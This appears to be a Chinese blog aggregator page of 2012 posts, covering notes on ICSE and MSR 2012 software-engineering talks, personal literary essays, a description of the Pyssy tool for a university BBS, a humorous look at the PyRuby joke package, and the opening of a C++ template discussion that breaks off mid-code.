他們會給PM建議之前的項目的歷史數據,然後對於新項目,他們建議歷史上已有 的項目的數據,從而幫助PM得到更精確的評估。他們試圖儘量減少項目評估對PM 的經驗的需求,從而幫助即使經驗很少的PM也能準確評估項目的開銷。

他們的觀點:

Context-specfic solutions needed!

我們需要更上下文相關的解決方案!

Early user paticipation is key!

早期用戶的參與是關鍵

Characterizing Logging Practices in Open-Source Software

Common mistakes in logging messages

在日誌記錄中容易犯的錯誤

他們學習了歷史上的log記錄,然後試圖找到重複修改的輸出log的語句,確定log 中存在的問題。他們首先確定修改是事後修改。

通常的修改的比例(9027個修改)

45% 靜態文本
27% 打印出的變量
26% 調試等級verbosity
2% 日誌輸出的位置

他們發現有調試等級的變化,是因爲安全漏洞之類的原因,或者在開銷和數據 之間的權衡。

大多數對log的變量的修改都是爲了增加一個參數。他們之前的LogEnhancer是爲了 解決這個問題而提出的,通過靜態檢查,提醒程序員是否忘記了某個參數

對text的修改是因爲要改掉過時的代碼信息,避免誤導用戶。

他們的實驗是採用了基於code clone 的技術,找到所有log語句,然後找不一致 的clone,然後自動提出建議。

Combine Functional and Imperative Pgrm for Multicore Sw: Scala & Java

趨勢:到處都是多核,但是併發程序呢?

他們研究的對象是Scala和Java,因爲可以編譯後確認JVM字節碼的語義。

  • Java:
    • 共享內存
    • 顯示創建的線程
    • 手動同步
    • Wait/Notify機制
  • Scala:
    • 高階函數
    • Actors, 消息傳遞
    • lists, filters, iterators
    • while
    • 共享狀態, OO
    • import java.* 能從java導入任何庫
    • auto type inferance 自動類型推導

實驗的參與者都經過4周的訓練,實驗項目是工業等級的開發項目

結果:

scala 的項目平均比java多花38%的時間,主要都是花在Test和debug上的時間。

程序員的經驗和總體時間相關,但是對test和debug沒有顯著影響。

scala的爲了讓編程更有效率的設計,導致debug更困難。比如類型推導,debug 的時候需要手動推導,來理解正在發生什麼。

scala的程序比java小,中位數2.6%,平均15.2%

  • 性能比較:
    • 單核:scala的線性程序的性能比java好
    • 4核:
      • scala 7s @ 4 threads
      • java 4si @ 8 threads
      • median
        • 83s scala
        • 98s java
    • 32core: best scala 34s @ 64 threads
  • 結論
    • java有更好的scalability
  • scala類型推導
    • 45%說對攜帶碼有幫助
    • 85%說導致程序錯誤
  • 調試
    • 23%認爲scala簡單
    • 77%認爲java簡單

multi-paradigram are better

Sound Empirical Evidence in Software Testing

Test data generation 測試數據自動生成

Large Empirical Studies - not always possible

For open source software - big enough

Identifing Linux Bug Fixing Patch

  • current practice:
    • manual
  • Current research:
    • keywords in commits
    • link bug reports in bugzilla

Try to solve classification problem

  • issue
    • pre-identified
    • post-identified
  • data
    • from commit log
  • feature extraction
    • text pre-process stemmed non-stop words
  • model learning

research questions

Active Refinement of Clone Anomaly Reports

motivating

  • code clones, clone groups
  • clone used to detect bugs
  • anomaly : inconsistent clone group many anomaly clone are note bug, high false positive
approach
  • reorder by sorted bug reports

June7

Keynotes 2: Sustainability with Software - An Industrial Perspective

Sustainability

  • Classic View: Idenpendent view with overlap
    • Social
    • Environment
    • Economic
  • Nested viw
    • Environment
      • Social
        • Economic
Triple bottom line
  • economic
    -global business, networks , global econ
  • env
    • natural res, climate change, population grow
  • social
    • awareness, connectivity, accountability

Green IT

  • reduce IT energy
    • more than 50% cooling - doing nothing
  • mini e-waste: not properly recycled
    • 80% in EU
    • 75% in US
  • foster dematerialization

In-Memory Technology: Expected Sustainable Benefits

What can we do?

  • consider all software lifecycle phases in your design
  • avoid energy expensive behavior in your codes
  • design lean architectures

Green by IT

  • 2% green IT
  • 98% green IT

On How Often code is cloned across repositories

Line based hashing code clone detection

never do anything harder than sorting

hashing a window of 5 lines of normalized (tokenized) code, dropping 3/4 of the hashing

把ccfinder一個月的工作縮短到了3, 4天。沒有比較presion和recall。

14% type1
16% type2
17% type3 (not really type2)

Graph-based analysis and prediction for sw evolution

graph are everywhere

  • internet topology
  • social net
  • chemistry
  • biology

in sw - func call graph - module dependency graph

developer interaction graph - commit logs - bug reports

experiment 11 oss, 27~171 release, > 9 years

predictors

  • NodeRank
    • similar to pagerank of google
    • measure relative importance of each node
    • func call graph with noderank
      • compare rank with severity scale on bugzilla
    • correlation between noderank and BugSeverity
      • func level 0.48 ~ 0.86 varies among projects.
      • model level > func level
  • ModularityRatio
    • cohesion/coupling ratio: IntraDep(M)/InterDep(M)
    • forecast mantencance effort
    • use for
      • identify modules that need redesign or refactoring
  • EditDistance
    • bug-based developer collaboration graphs
    • ED(G1,G2)=|V1|+|V2|-2|V1交V2|+|E1|+|E2|-2|E1交E2|
    • use for
      • release planning
      • resource allocation

graph metrics

  • graph diameter
    • average node degree indicates reuse
  • clustering coefficient
  • assortativity
  • num of cycles

Conclusion

"Actionable intelligence" from graph evolution

  • studie 11 large long-live projs
  • predictors
  • identify pivotal moments in evolution

What make long term contributors: willingness and opportunity in OSS

OSS don't work without contributors form community

mozilla (2000-2008)

10^2.2 LTC <- 2 order -> 10^4.2 new contributors <- 3.5 order -> 10^7.7 users

gnome (1999-2007)

10^2.5 LTC <- 1.5 order -> 10^4.0 new contributors <- 3.5 order -> 10^6.5 users

approach

  • read issues of 20 LTC and 20 non-LTC
  • suvery 56 (36 non-LTC and 20 LTC)
  • extract practices published on project web sites

summeray

  • Ability/Willingness distinguishes LTCs
  • Environment
    • macro-climate
      • popularity
    • micro-climate
      • attention
      • bumber of peers
      • performance of peers

regression model

newcomers to LTC conversion drops

actions in first month predicts LTCs
  • 24% recall
  • 37% precision

develop of auxiliary functions: should you be agile?

a empirial assessment of pair programming and test-first programming

can agile help auxiliary functions?

experiment

  • pair vs solo
  • test-first vs test-last
  • students vs professors

research questions

  • r1: can pair help obtain more correct impl
  • r2: can test-first
  • r3: dst test1 encourage the impl or more test cases?
  • r4: does test1 course more coverage

result

  • test-first
    • higher coverage
    • non change with correctness
  • pair
    • improve on correctness
    • longer total programming time

Static Detection of Resource Contention Problems in Server-side script

Addressed the race condition of accessing database or filesystem of PHP

Amplifying Tests to Validate Exception Handling Code

異常處理的代碼不但難寫,而且難以驗證。各種組合情況難以估計,尤其是手機 系統上。

by farseerfc at June 06, 2012 01:42 AM

June 02, 2012

farseerfc

MSR 2012 @ ICSE

Mining Software Repository 2012 @ ICSE

參加了今年的MSR,會場在University of Zurich。一大早來到大學,註冊有點 小插曲,顯然瑞士人搞不清楚中國人的名字,3個楊(Yang)姓的中國人的名牌 被搞錯了。然後堀田學長的所屬被寫作了“Japan, Japan”,成爲了全日本的代表。

MSR(MicroSoft Research) talk @ MSR(Mining Software Repositories)

首先是來自微軟亞洲研究院(MicroSoft Research @ Asia, MSR Asia)的Keynots, 於是就變成了MSR在MSR的演講。MSR的張冬梅(Dongmei Zhang)女士的演講 分爲關於Software Analysis和XIAO的兩部分。XIAO是MSRA開發的Code Clone Detector,似乎我要給井上研做的就是這個。想更多瞭解Xiao的細節,不過張女士 演講結束的時候的鼓掌導致了話筒的小故障。

Towards Improving BTS with Game Mechanisms

感覺這篇的內容基本上就是關於

http://www.joelonsoftware.com/items/2008/09/15.html

這裏寫到的東西,然後說同樣的理論是否可以用於Issue Tracking之類的事情上。 個人感覺這個意義不大,stackoverflow之所以成功是因爲它把開源社區本身就 具有的名譽體系具現化了,本着大家都喜歡被別人奉爲大牛的心態,就如同 wikipedia一樣。同樣的理論如果用於公司內部的Issue Tracking系統上,會得到 完全不同的東西吧。就像MSDN的組織方式雖然和wikipedia是一樣的,但是在MSDN 裏找信息的感覺和在wikipedia完全不一樣。個人不太看好這個方向。

GHTorrent

這篇的slide在這裏可以看到:http://www.slideshare.net/gousiosg/ghtorrent-githubs-data-from-a-firehose-13184524

Data exporter for github. Github的主要數據,代碼,已經可以通過git接口 獲得了,wiki是git的形式保存的。所以這個項目的目的就是暴露別的數據,主要 是issue tracking,code comments,這種。代碼訪問github api,然後用分佈式 實現以克服api的限制,然後提供torrents形式的history下載。github api獲得 的json數據以bson的形式保存在MongoDB裏,解析過的有了Schema之後的數據保存 在MySQL裏並可以導出SQL。

個人的想法,覺得數據如果能夠更統一,全部存在Git裏或許更好,像Wiki一樣。 同樣是要暴露全部歷史記錄的目的,用Torrent自己實現的歷史遠不如用Git的 接口實現的歷史記錄方便吧,git blame之類的也更方便追蹤code comment之類的 作者信息。當然對git的raw date直接讀寫,需要對git的內部原理有足夠的理解, 或許只有github的人有這種能力了。

Topic Mining

用得兩個參數, DE 和 AIC,完全不能理解,過後研究。實驗針對了Firefox, Mylyn, Eclipse三個軟件。試圖從Repo中分析源代碼的identifier和comments, 找到topic和bug之間的關係,比如怎樣的topic更容易導致bug。得出的結論似乎 也很曖昧,只是說核心功能被報告的bug更多,但是不知道原因。這只能表示核心 功能受到更多關注和更多測試吧,並不能說明核心功能就容易產生bug。

不過這個的Slide做得很漂亮,很容易理解。

SeCold

A linked data platform for mining software repositories

沒聽懂這個項目的目的。

The evolution of software

第二天的Keynotes,關於將Social Media和Software Development相結合的想法。 或許就是Github賴以成功的基礎。講到代碼中的comment, Tags, uBlog, blog之類 的social的特性和IDE的融合的趨勢。

Do Faster Releases Imporve Software Quality?

使用Firefox作爲例子。

結論是快速發佈導致bug更多,更容易crash,但是bug更快得到修復,並且用戶 更快轉向新的發佈。

Security vs Performance Bugs in Firefox

Performance bugs are regression, blocks release.


一些感想

基於自然語義分析的commit分割

經常工具(比如git)的使用者並沒有按照工具設計者的意圖使用工具,這給MSR 帶來很多困難。舉個例子,git有非常完美的branch系統,通常期望git的使用者 能夠在一次commit裏commit一個功能,比如一個bug的修復,或者一個feature的 添加,但是事實上經常有很多邏輯上的commit被合併在一個裏面了。

或許這不是使用者的錯,而是工具仍然不夠人性的表現。或許我們可以自動把 一次的commit按照語義分割成多個。

分割之後,可以更容易地把issue和commit關聯,也更容易組織更多的研究。

關於這次發表中大家用的slides系統

題目爲``Incorporating Version Histories in Information Retrieval Based Bug Localization''的人用的slide是beamer的。公式很多,overlay很多,列表 很多,圖片很少,典型的beamer做出的slide。思維導圖用得很不錯。今天一天 有至少3個slide是用beamer做的。

題目爲``Towards Improving Bug Tracking Systems with Game Mechanisms'' 的人用了prezi,圖片很多,過度很多。但是比如沒有頁號沒有頁眉頁腳,正式 會議的場合不太方便。

至少有六個以上用了Apple Keynotes,Keynotes做出來的東西真的和Powerpoint 做出來的很難區別,其中兩個人用了初始的主題所以才看出來。

剩下的自然是PPT。MSRA的張女士做的雖然是PPT,倒是有很多beamer的感覺, 比如頁眉頁腳和overlay的用法。這些如果都是PPT做出來的,會多很多額外的 人力吧。

值得一提的是有一個題目爲``Green Mining: A Methodology of Relating Software Change to Power Consumption''的人的slide全是``劣質''的手繪漫畫, 效果意外地好,很低碳很環保很綠色很可愛。具體效果可以參考下面的動畫,雖然 現場看到的不是一個版本:

http://softwareprocess.es/a/greenmining-presentatation-at-queens-20120522.ogv

微軟是個腹黑娘!

嘛雖然這也不是什麼新聞了。MSR2012的Mining Challenge的贊助商是微軟,管理 組織者來自微軟研究院,獎品是Xbox和Kinect。然後今年的題目是:

Mining Android Bug

我看到了微軟滿滿的怨氣……

by farseerfc at June 02, 2012 01:42 AM

April 11, 2012

pythoncat

第二人生之 QQ 篇

(一)
犹记得有文披露过“QQ签名像墓志铭,然后被不知何物频频更改”,虽戏谑滑稽,但也深得我意。我已经发现了一种现象:很多人,可能就包括你,偶尔修改自己的QQ签名,不外乎表明彼时心情或欲想等等,但是你却不同步于QQ说说和微博,等新的灵感来了,再把它悄悄改掉,一点痕迹都不留下给好奇的侦探。
每当我偶然地读到一些不知为谁而写的、却打动了我的“墓志铭”,我会根据交情深浅去猜测:我是不是它们的期望读者?很可能不是,虽然说不准,但是应该就不是——谁都有一个自己的小宇宙不是么,只是你不能同时在所有的宇宙而已,这不是真理么?
我的第一条QQ签名,也就是我在第二人生的第一个算属标签的东西,延续了好长的时间,后来因为有感,还特意重新挂出来,特别像困闭棺材的死尸伸出来的腐烂了的手。
尽管是真的腐烂,我已经把它好好掩埋,可能以后我想不起来了,它就变成我感觉是陌生的秘密。
守着一个名,一种身份好久没有改动,大概表明了:面具戴久了,就摘不下了。我在第二人生里散布了各色的面具,真亏得能有那么多的账号和密码,以至于能写满了一个小本子。但又是在虚虚幻幻、来来往往中,却也真的淘洗了一些比较沉的东西,和一些更沉的东西,例如踩一脚就陷困泥淖能搅浑一个湖,例如抓一把,没准能攥紧一块态仪万端的彩色石子。
可是呢,就算我有幸是一个登月的航天员,我仍只是在太阳系中,仍只会是在一个被推测说有无限个存在着生命的星球的宇宙中,在一个能把所有人的宇宙包含其中的宇宙中,微渺小小,细茫一点。
也就是说,有个被称为上帝的不能被证伪却又不是指“命运”的魔鬼,在掷一个不是骰子却类似的玩意,饶有趣味地看我在第一人生、第二人生和别的人生中像只陀螺,靠着惯性转入小径分岔的迷宫里的分叉的小径。
——20120224
(二)
不期意地,对陌生人来说这词真合适,你就来了,我像是偶遇爱情的一阵风,像是钓起了一条鱼又像是变成了一条鱼被人钓起,就在我也可能是的风里欢乐跃腾,连结束一句话的余韵都不懂得留了。
细密细密的点可以凭空而生,有真有幻,但是,是哪种力量都难连接它们成最初的线,直到翻天覆地的黑,才能泯灭掉所有的性别。生死轮回在此前的千百年也逃不脱的悖论,现在我们要被迫接受,现在我们要被迫分离,就像从不曾在一起。
但是,从千万年沧桑里幸存的语言,又在劝说一种胜利:在那空里有你与我是真,在那化里有你与我是实,在你与我里有不会消失的过去。隐隐显显是不可问不可闻的心事,现在说出口的只会是一种杜撰,但是如果你要说,我就想听,想听的是你的告白。
——20120302
(三)
不知道是何时起,QQ空间成为我最喜欢的地方,因为在这里:我可以放肆地自言自语,留下各种小小的谜语;因为在这里,我可以追踪朋友的动态,看那些迷离的文字,猜那些灵魂的语言。
QQ日志承载了一直以来日记的风格,但是也越来越刻意雕琢了,最后不再是一块纯净的泥巴。那么,尽管涂满一个页面吧,就不求什么风格了,自由自在,最是难求的状态。
有没有期待过很多的读者,很多的评论呢?说实话吧,读者和评论确实刺激了某些激素的分泌,然后一种好的心情随之产生,但是后来,我以为不必企图别人能读懂,尽管有人说懂了,TA懂的只是文字,又不是我;就像懂我的人不一定懂我的文字,仿佛这两者就毫不相关。知道文字被某些人看了,不管有没有评论,不管有没有谈起,似乎都有得意的资本了。
曾经有人称喜欢我的文字,要当我的粉丝,我说不要。其实,你要当谁的粉丝,根本不要偶像的首肯啊,不是么?……后来,到如今已经半年了吧,TA没进过我空间。我猜TA是高三的,从空间一些迹象看来是的,祝她高考顺利吧!
有个名字里面有“依”字的女孩,我自夸地说,她才是我的粉丝呢,因为我根本不认识她,加了QQ却一直没有说过话的,但是每篇文字,她都不漏过地,以至于新文章出来而她没看,我就觉得不大对劲。没有评论,没有留言,没有QQ对话,像是我们一直的默契。我个人觉得有一种隐隐的美好,也不想这种状态有什么改变。PS:你看到了,就会心一笑吧。
有心事了,有情绪难排遣了,有些人呢喜欢写诗,有些人呢写写日记,有些人呢写一封信给别人或者给自己,有些人呢,大概是我这种的话,就会去做以前没做完的事,写一篇连载的文章,转移掉所有的注意力,在摇滚乐里摇头晃脑。
正好又是夜晚,正是所有灵感奔涌的时候,顺便可以理理书单,想想接下来要看的书。
——20120305
(四)
隐身,或者说隐形,这是我曾经一直幻想的超能力——不过这种能力常常连带着某些不道德的行为——不管现如今,即时通讯工具在多大程度上实现了这一种不大现实的想法,它在本质里面带着的那些欲望并不曾消减:在交集之外,我要我的自由,我要我的隐私,我要我的不公开的状态,我放纵地或者恰当地把自己隔离在人群之外;我想看到你在,却不想让你知道我在偷窥;我就要静静地看着你,又不必承受两眼相对的尴尬,不想成为在场的冷漠者……
隐身者的隐身心理应该能成为不错的研究课题,我直觉地意识到这里大有玄机。他们都是怎么解释自己的行为的呢?也许有人说,不想被别人打扰;那么,我可以反问,为何不设置成“离开”、“忙碌”、“请勿打扰”状态呢——设计者考虑得还算周到了——抛弃这些选择的一种可能的解释是,他们不想诚实地表露自己。
也许有人说,已经习惯了,或者不觉得它能说明什么;那么,我会解释道:他们的自我是封闭的、他们的内心是不敞开的、他们没有相知相亲的对象(好朋友或者感情伴侣)。
如果能单从字面上说,那么,假如一个人不想处于光明的状态而想要在隐暗之中,那他要么就是不善于调和自己的处境,要么就是不善于认识自己的处境,要么就是不在乎自己的处境;而这在我看来,又要引出一个新的可能:他不曾考量过“存在”的问题,他不曾把自己的存在看成值得怀疑的事,也不曾因为对自己存在的认知而倍感要珍惜流失中的时间。
“隐身对其可见”,它算是一种恩惠:因为我跟你好,因为我在乎你,因为我不想隐瞒你,所以我完全向你敞开,让你能随时进入。这一种恩惠如果不是直白地向对方表达了,如果不是差异鲜明地让对象感动了,它似乎并没有什么特殊的意义,它的“有”也跟“无”一样而已。仅表明我的态度么?——你不把我放在你心里的时候,我不在乎,我还是要把自己(把自己的心魂)摆在你的面前。
而在灵魂的伴侣之间,隐身也好,是否可见都好,他们的默契不差分毫。也许就是这样的默契:你不在,但是我想你的时候,刚好你也在想我;你不在,但是我估计你到了哪里的时候,你正好是到了;你不说话,我不说话,但是呼吸的节奏是一样的,连想开口说话的时间和内容也是相近的……
PS:语言丢失了。甜蜜的事让人失语?回到未完成的工程,找回创作的感觉……
——20120411
(五)
七年前,我困在 QQ 和它的文字空间里。七年后,那个空间被封闭而疏远了,但不变的是,第二人生依然广阔。
当年,我想写成一个系列:QQ篇、微博篇、人人篇、豆瓣篇,但勉强只是写成了一篇。如今,如果重新考虑,大概会加入:微信篇、公号篇、知乎篇,但写作的情绪已经完全不同了。
感觉像是在翻读一篇铭文,被刻在石板上,爬满了尘土和绿苔。
——20190726

April 11, 2012 12:00 AM

April 02, 2012

farseerfc

Pyssy 項目

簡介

Pyssy 是用於 上海交通大學 飲水思源站 的一系列 Python 腳本和工具。

Pyssy 被有意設計爲既可以託管寄宿在 SAE [1] 上,也可以在單機上獨立使用。

項目地址: http://pyssy.sinaapp.com/

Github上的源代碼地址: https://github.com/yssy-d3/pyssy

[1]Sina App Engine ,新浪雲平臺,類似 Google App Engine 的東西。

依賴關係

Pyssy 使用 Flask 作爲網頁服務器, 並且使用 Memcached 或者 Redis 作爲抓取 水源Web 的緩存。

SAE Python 環境下請開啓 Memcached 支持。

本地環境下請安裝 Redis-py 並運行 redis-server 服務器程序。

by farseerfc at April 02, 2012 03:42 AM

March 18, 2012

pythoncat

在浓浓大雾里拍照

在浓浓大雾里拍照,我想这样的生活会让唐宋年间所有成名的诗人词客艳羡一番:他们的诗章词篇能空灵化了高山长河,他们的水墨长卷能容揽千古不变的神韵;但是,只有在现代科技产品的助益下,某天的真实本质的清晨和晨光里的景致才更真切地被留住,不需要抽象就完完整整地展露的朦朦胧胧凝在方寸之间;相片中奔跑的小男孩、追着滚动的花足球,跃跃然,似就要转头对你喊:“快来追我啊…我们一起玩……”
在长椅一侧的草地上,小女孩穿着天蓝天蓝的衣服,喊着:“爸爸,爸爸,看这里!”爸爸不回答,他在跑,在他后面,一只大大的风筝也跟着跑,他们跑在青青的草坪上,泡在清清的白雾里。小女孩也很快地走着,但是她的风筝只飞了她身高那么高;捡起它来,她埋头了像是在研究风筝的线,像是在怜惜它擦破了的一角……
小男孩是更喜欢足球的,咯咯地去把跑歪了的球儿抓回来,他妈妈对他说:“用脚踢。用脚踢。”于是,他把抱在胸前的球儿泼出去,像是放飞一只鸟儿——那足球上缀满了扭8字的服饰,黑白相调,旋转出美丽的花色,落在男孩脚边——他就,有时候做一个酷酷的姿势、有时候则是干脆利落地,把球踢给他的玩伴,他的妈妈。他的妈妈就会把球踢回来,或者踢歪了,让它扭出很好看的黑白相杂的风。男孩很聪明,他会把球踢出去,可是球儿还没走到妈妈那里去的时候,他就嘻嘻地跟出去把它抱回来了,重新再踢一次。这时候,坐在石凳上静静的我就很不禁地笑了,我想他的妈妈也是吧——因为,好可爱的孩子啊!
清晨的草色从来就很迷人,每次它们生机油油的面容都让我有恋爱的感觉:爱你美丽的时光,爱你对生命的预言,爱你让我灵魂舒坦的慰藉。
清露的蕴涵一定洗净了白天喧嚣的尘埃,柔嫩的翠绿的精灵才都苏醒了,苏醒的她们就吸引了、生发了这漫天的水汽吧?
弥漫的迷漫的水汽像是仙境的布景师,我什么都不是,就被氤氲成了一缕幽魂,飘忽地游荡。
蓬蓬的树叶在雾里失去了层次感,成为水墨画里的一个灵感。细直的墨色的灯柱顶着三角形的头,像宫崎骏漫画里的一棵植物。
在某一处,恰到好处的距离,有一棵奇峻的枯树,似乎没有一片叶子的衬托,似乎也不需要有任何东西来增添它现在的表现力:它是它,它是站在清晨雾里的它;不需要冬天的比喻,不需要春天的修饰,不是孤单者的代言人,不是群体的活跃分子,不描述生存的希望,不阐发死亡的哲理;仅仅就是它,被我看到,被天地宽容,被自己爱恋。
我爱武大的树,也许会更爱别处的树,但是它们最初所占据的位子将永久不变。美其名曰:寻找一首遗忘的诗。其实,谁不知道呢?——她就镌刻在我的心里,在沉默的眼光里。
黑漆的身躯,雅黄的喙,灵巧的小跑——一只乌鸦悄悄地窜进树阴处,打破我走神的片刻。
当作一封信吧。
——YOURS 2012-03-18

March 18, 2012 12:00 AM

March 11, 2012

pythoncat

我期待夏天满怀着热量

我期待夏天满怀着热量从无中生有而来,把迟迟不晴的春天赶进一种注定要被淘汰的“主义”里面去,就像把在过去几天里从我创作灵感中冒了头想要变成我的文字的那些桥段通通变成这一刻的音乐的间隙的一串串的模糊的印象。
图书馆是最好的收容所。他不弃我是邯郸学步的好龙的叶公,当然也不管能不能在我身上抽取出诗性的油然后精炼出可定为本质的那些抽象的形象,最好的答案他不会保留,他不会指望靠曲折的情节把我留在剧场之下去品味芳洁自守的情致,他在第一章就报家门说出不想让我过度在意的结局:不想好结局就开始的书不会有好的结局,对结局的无意识的不满将是一群人的故事和纠纷,而沉淀的墨迹只会像蜜蜂的倒钩刺连带肝肠心胆一并深深深深插在书的肉里,注解一段有你在的历史,像甘德利草原上茫茫的青草欺骗一段八百年的关于宝藏的传说。
等到书香变成细菌肆虐的霉气,等到阳光照不到的角落空空腾起自旋的风,等到你对得起时过境迁的标签,等到也许是一个春天、也许是一个夏天、也许是一个秋天、也许是一个冬天,等到有那一天,等到有了历史的心和死的觉悟,就是要这样等,要等很多的限制,等到那一刻,我想你不会不期望自己是一首写不完的诗,我想你会要求一个假设的原初状态,就是那一个可以如此实现而不可以如彼实现的 original position。如果这是有的,我想,是不是因为我们欠了谁的一份契约——不管是在谁的理论里的原始状态里命定的契约?
说不出这一个在名义上无疑的春天的过错,因为还差那在心理治疗和人际关系之后所谓的终极目标叫做:自我实现。而他只是一片守不住的天空,有云和月,是被遗忘的诗的残音断部。喧哗在迷宫,骚动在悖论,如此不如彼,如彼不如此,编织成一个无解的二歧式的方程式。
一个梦要我解释他是由我男人的那部分幻想成的,还是由我女人的那部分幻想成的。我看不出在自我的海洋下无意识的冰块像个什么形状,而感情和理性的同一性之交合似乎不是合理的欲望,永远得不到满足。
一个是士兵,一个是囚徒,玩一种互换身份的游戏,可是他们没有足够的博弈论和正义论的知识,在冒险之前得不出一致的墓志铭,于是只有厮杀。
心理学家让人崇拜的地方是他竟然知道你会崇拜他是一个心理学家。心理学家这样对我说:爱的需要也和盐的需要一样,机体可能为了维持健康,防治疾病而努力满足它。他先验地看透了人类的残缺本质,用爱引诱这颗孤独和孤单的心,引诱我空着咕咕叫的人类的肚皮,奔跑在历史典故的排泄物上,然后把我心中冲动的动机乔装成生死不弃的那种责任。这份契约,签了我的大名,而且是我一手和另一只手的策划。
可是,尝一口那盐,也许他就是产自于冰山下冻结亿万年的不死的尸体,很好吃,很好吃,可是我吃不了多少,吃饱了,就要继续赶往自我实现的目的地,而且背负着责任的尖刀。
我期待夏天满怀着热量从无中生有而来,把迟迟不晴的春天赶进一个女人的子宫里,就像一个精子找到了卵子,然后有我名字的书除了死亡的结局就还有三编九章 87 节 627 页的曲径通幽的情节。
是多么虚伪的呻吟说什么“我期待夏天满怀着热量”,把情思寄托在一种必然不变的自然规律上,奇怪自己不是千年老妖能打败时间的催眠术,又不甘心身体上上下下的细胞都泄露了无力的机体,和不必然是独立的灵魂的孱弱。
就像搁浅在沙滩上的螺贝,偷张开笨笨的碳酸钙的壳,张望下一次涨潮,期望偶遇上一个在乎生命的流浪汉把它捡起远远地丢尽大海里。
期待的信息几乎都因为诗歌而著名,像一句“冬天来了,春天还会远吗?”成为薄幸书生流连红粉的折子扇,成为狡猾的姑娘引诱闷骚青年的欲拒还迎。
等待和希望,谁说大仲马就是那么自信地为人类立言了,直到了最后他,他的骨头,没有一点儿男人!直到最后他变成一个保守主义者,斤斤计较一个最小值的最大值原则。
在音乐里面寻一种高峰体验,在文字里模拟意念流转飘忽的百转千回。对不起一株没有知觉的植物。
——2012-03-11 写于武大

March 11, 2012 12:00 AM

March 02, 2012

farseerfc

PyRuby

今天在GitHub上閒逛的時候看到一個叫做 PyRuby 的項目。項目的Readme說得很好:

PyRuby - Some Ruby for your Python!
PyRuby is a simple way to leverage the power of Ruby to make your Python code more readable and beautiful.

Usage
All you have to do is import the ruby module:

import ruby
From now on you should be able to write Ruby code within a regular Python module. An example:

1.upto(10) { |n| puts n }

甚至 PyPI 上還有這個項目的包。

一開始我還以爲這又是一個野心勃勃的基於PyPy的Ruby實現,或者某種trick在Python裏面直接調用Ruby解釋器。

然後我想看看這個的源代碼

只有一個ruby.py文件,內容是:

# -*- coding: utf-8 -*-

print("""

                              `.-:/+ossyhhddmmmmNNNNNNNmmmmmdddddhhhyyyyhhhyo:`
                       .:+sydNNNmmdhhysso++/+++++++////::::::-.```......--/oymms.
                  `:ohmdys+//::/::--::::////:-.```......`````.://:-`         `/dNs.
               .+hNds:`-:-:///::------::///++///:--....--::///::-`.///.        `oMm/
             /hNmo.`   ``    `....```````````      ...------:::-:/+/-.:/:`       /NMs
            oMd/`      `::::--.---://+`           //`     `````-:::::+/-`::.`     :NM+
            yN`       -+.`         `/`           o.               ``::.-:. ``      :NN:
           :Nm        -             ./           :    `.-://///:-.   `-` ``         :NN-
          /NM/           .-:::-.`   `/            `:sdmdhyMMMMMMNNmy/`               :mNo`
        :hMd:          /dmddddNNmdy+-.          `smmy/-```hMMMMMMMhydm/ `-.``     `...:mMm+.
      -hNd/-/o/-..-::`.ydmmmmNMMMMMMNh:/+-      dMN-`-+hmmmmdhhhhdddmMN-`-/o:    .-::::/oydms-
     oNMo:+/::.         ``...--:/+ohNMNhs-      :hNmmdyo:..``yo-```.--. `-`-+shdddhs+-` `.//yms.
    .MMo:/`o:.:+sso+:-`             sM+           ./-`       /mNh+-....-/ymNNdo::--/shd+`  -`:mm:
    /MM-o ./ ohhsooohNmy::sh.      `yM/                       `:oyyyyyyhys+:.` hy    `/Nh`  : -NN.
    -MM// -: ``   y: odddhh+     -omNh-          `--.` ``          ````    .:ohMMs.    +Ms  /  yMo
     hMoo .+.    :Mh  ````    `/hNd/.`           ohdddy::...`..`      `-/sdmdyo+NMNh+- :Mh  /  sMs
     .mmh:..:.  :NMm       `-/dMNM+         ./+++/:`.hM:`.````.` `-/shmNmh+-`  /Mmooso.hM/ .: `mM/
      .mNs://: .NMNMs-   -:-.`/+-sms.   `  `shyyyhy`sNd`   `.:+sdmmmdMM-.    .oNM+    :m/ `s``yMh
       -mMo  . sMNdMNNh+-.        .ydyoyy`        ``+o::+shdddhs+:-.:MM.`.-+hNMMh-    `.`-/::dNs`
        -NM-   mMMMh:MMdNmhs+:-..```-ohs-`...-:/+syhddmMMs:-.`    `/mMMdmmddNMm+`      ..-/hNh-
         sMy   NMMM`:Mh`-/mMmmmdddddddddhhhdNNdhyo+:--.yMs  `..:+ymMMMMd+--yNh.        `+hNh:
         -Mm   NMMM/yMh  -NM-`..--:NMo:--.`+My         :MNoydmNMMNmhdMh` -dNs`        `yMd:
         `MN   mMMMMMMMyshMN+:---.-MN-.....+My...-:/oyhdMMMMNmdy+-` +Mh:sNm/          yMy`
          MN   yMMMMMMMMMMMMMMMMMNMMMMNNNNNMMMNNNMMMMMNmhMM/-.      `yMMNs.          /My
         `MN   :MMmMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmmdy+:-``NM-      ./hNNy-           /Nd`
         -Mh    dMydMmsNMNdNNMMmmmNMMMdddhys+yMo``       /Nm:  `:yNNdo.           .sNd.
         +Ms    .mMsMN::NN:.:MN: `.+NM.      +Mo          +Mm+ymNdo-            .omm+`
         yM:     .hNMd+:sMN. oMm.   oMo      +Mh   ```.:+shMNmy+-``.-:-..-//-`:yNmo`
         mM.       :ohmNNMMdhyMMdo//+Mm//////sMNhyhhdmNNmhs/-``./+/:--+so/-:smNy/`
        .Mm        ``  .-:/+osyyhhddddddddddhhyysoo+/:-.  `./+//--+oo/--+ymmy/.
        :Mh   .:   `+:`        `.------------`      ```-////:/++/:../ydNdo:`
        +Ms   `/`    :+o+:-```              ``..-::///++///:-.`-+ydNdo:`
        oMs     :/:.``  `..---.``` ````````..-:/:::---.`  `-ohmmh+:`
        /Mh       .://///:::-----.-----.......`       `-+hmmy+-
         sMy`                                ``````-+ydmy+-
          /mNs-`                        `./ohmNMNNNmy+-
            /yNmho/:.``````````.-:/+syhdNmdyso+/-.`
              `:+ydmNMNNNNNNNNNmdhys+/:.`
                     ``.....`

    LOL U MAD?
""")

import sys
sys.exit(1)

是的……的確……這種嘗試把Python和Ruby放在一起的想法絕對是瘋了……

by farseerfc at March 02, 2012 02:09 PM

February 25, 2012

farseerfc

關於C++模板的類型轉換的討論

這兩天在飲水思源的C板,關於C++模板的類型轉換的一個討論,後面是我的解答。

原問題

今天在書上看到模板演繹的時候可以允許cast-down,於是我寫了個東西:

template <bool _Test, class _Type = void>
struct enable_if { };

template<class _Type>
struct enable_if<true, _Type> {
    typedef _Type type;
};

class A { };
class B : A { };

template <typename T>
